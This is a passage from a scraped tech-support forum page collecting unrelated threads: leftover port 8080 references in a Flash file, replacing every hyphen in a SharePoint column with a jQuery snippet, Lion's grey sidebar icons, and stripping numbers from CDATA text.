    references to 8080, One if them in 'Properties' of a
    WebServicesConnector,
    but I cannot figure out how to find the other occurences.
    Checking on google, I see lots of people having similar
    problems, but no
    solutions
    Any ideas?
    Regards, /george
    PS. What do you guys do for code completion - is there a tool
    that would
    bring Flash on par with an professional IDE?

    george,
    > when I 'Debug the Movie' (Ctrl-Shift-Enter), it still
    > tries to access port 8080! Obsiously, my replace
    > command did not do what I thought it would do.
    Agreed.
    > I opened the FLA file in a binary editor, and saw 4
    > more references to 8080, One if them in 'Properties'
    > of a WebServicesConnector, but I cannot figure out
    > how to find the other occurences.
    Might they be the result of that WebServicesConnector
    reference?
    > Checking on google, I see lots of people having
    > similar problems, but no solutions
    That's really odd, actually. I'm on these boards every day,
    and I've
    never heard of this issue. I don't *think* the Find/Replace
    dialog visits
    panel contents, such as the Component Inspector panel, but I
    wouldn't swear
    to that.
    > What do you guys do for code completion - is there
    > a tool that would bring Flash on par with an
    professional IDE?
    Well, Flash is a professional IDE, of course. By definition,
    if you pay
    for something, you have acquired a professional product or
    service. I know
    what you mean, though. Flash itself rocks, but the Actions
    panel can be
    glaringly weak. Personally, I use SE|PY to edit ActionScript.
    http://www.sephiroth.it/python/sepy.php
    Sorry I can't speak to your other issue. :-/
    David
    stiller (at) quip (dot) net
    Dev essays:
    http://www.quip.net/blog/
    "Luck is the residue of good design."

  • SharePoint Calc Column - How to Find and Replace ANY & ALL Values with Something Else

    Haven't found a solution on this even though it seems like it should be cut and dry.
    I have a column containing characters "-" (e.g., XXX123-123-fjhrh-sdafsdfsd). I want to find every "-" and replace it with "@". Seems easy but so far haven't found a solution. My calc column always seems to stop at the first
    occurence of "-" and only replace that one. Seems every forumula wants you to tell SharePoint where to start (position). You can't simply tell SharePoint, Find this "-" ALL OCCURENCES and replace with this "@" ALL OCCURENCES.
    I don't have the option of saying start at this position because my data is not the same in every cell/field (e.g., number of characters).
    Closest I've gotten is this:
    =REPLACE([IN THIS COLUMN],FIND("-",[IN THIS COLUMN]),LEN("-","@")
    RESULTS:
    XXX@123-XXX-123

    Hi JJSHAREP,
    The formula only works when there are only three "-" in the column value, and the formula will fail if there are more than or less than three "-" in the column value.
    I recommend to use Jquery code to replace the characters in the column called IN THIS COLUMN in the UI:
    <script src="http://code.jquery.com/jquery-1.10.2.min.js" type="text/javascript"></script>
    <script type="text/javascript">
    $(function () {
    var Index=0;
    $(".ms-listviewtable tr th").each(function(i){
    if($(this).find("div").attr("name")=="IN_x0020_THIS_x0020_COLUMN"){
    Index=i;
    $(".ms-listviewtable tr").each(function(i){
    if(i>0){
    var value=$(this).find("td").eq(Index).text();
    var value1=value.replace(/\-/g, '@');
    $(this).find("td").eq(titleIndex).text(value1);
    </script>
    Best regards.
    Thanks
    TechNet Community Support
    Please remember to mark the replies as answers if they help, and unmark the answers if they provide no help. If you have feedback for TechNet Support, contact
    [email protected]

  • Why were the colour icons taken away from the finder and itunes sidebars and and replaced with grey monochrome shade icons. It doesn't make any sense.

    Why were the colour icons taken away from the finder and itunes sidebars and and replaced with grey monochrome shade icons.
    Have apple rectified this yet ?
    It doesn't make sense to me why they changed this. Can anyone tell me the reason for the lack of colour ?
    On another note, can the the sidebar be changed back to the right hand side in preview (when opening PDF's). It has always been on the right in snow leopard and tiger.
    It seems to me that their has been too many unnecessary changes in the Lion operating system.
    Thanks.

    babowa wrote:
    Why were the colour icons taken away from the finder and itunes sidebars and and replaced with grey monochrome shade icons.
    Have apple rectified this yet ?
    It doesn't make sense to me why they changed this. Can anyone tell me the reason for the lack of colour ?
    You'd have to ask Apple, no one here would know - we are just users like you and aren't allowed to speculate on these forums. You have quite a bit of company though - many people preferred the color.
    And, I've not found a way to put the sidebar back on the right side in Preview, but maybe someone else can chime in with that.
    I much prefer the sidebar a la sinistra

  • Help with removing a variable number using "find and replace"

    Hey, I have to remove a variable number from a large number of documents.
    How would I do this using "find and replace"
    <text><![CDATA[Coloured 250]]></text>
    250 is an example of the variable number that I will need to remove so it looks like this:
    <text><![CDATA[Coloured]]></text>
    Note: the text "coloured" is subject to change also.
    Thanks

    That's a possibilitly I'll explore.  Thanks for the alternate perspective!
    (5 minutes later)
    Oh well, it was a good thought.
    Unfortunately each line of raw original text may contain from 1 to 4 lines of final text.  In other words there is no consistency in the number of backslashes (hard returns) in each line of original text, and thus, when backslashes are converted to commas, no consistency in the number of data elements in each data set. 
    Sadly PS variables will not handle finding a source text line that does not have data for 4 variables.  So I either have to go back and add enough commas on each short line to make four individual data elements for each data set... or I simply deal with the hard returns within Photoshop.
    I think I've reached the limit of automation on this process.

Maybe you are looking for

  • One file has different names

    I've never seen this before. A file has different names. See the get info: note the name at the top doesn't agree with the name & extension below. See the ls -l in the terminal as compared to the finder name. !http://farm3.static.flickr.com/2425/4042

  • HT5022 AirPort Utility 5.6 will not install on Lion

    I have an older airport express and I'd like to be able to manage it the new Aiprot utulity is not compatible and the older version of Airport Utility 5.6 is not able to be installed on Lion.

  • Attach to email function does not respond when Outlook is open.

    We use Outlook 2010 and Adobe Reader 11.0.2. Our users export a report from our ERP system which converts it to PDF and opens in Adobe Reader. Our users then need to use the "Send file as email" function. If Outlook is open whilst doing this the enve

  • BAPI exception when executing from external system.

    Hi Experts, I using the Function Module BAPI_MATERIAL_GET_ALL to get the Material and Plant attributes by giving Material and Plant data.I am able to get all the required attributes when I execute this Funtion Module in SAP but when I try to execute

  • Security on Subject Areas

    All, I've seen a direct way to limit access on Sub Areas in the RPD....but is there a way to do this making use of external tables to set up security? Or do you always have to create the groups in the rpd as well and limit access to Sub Areas that wa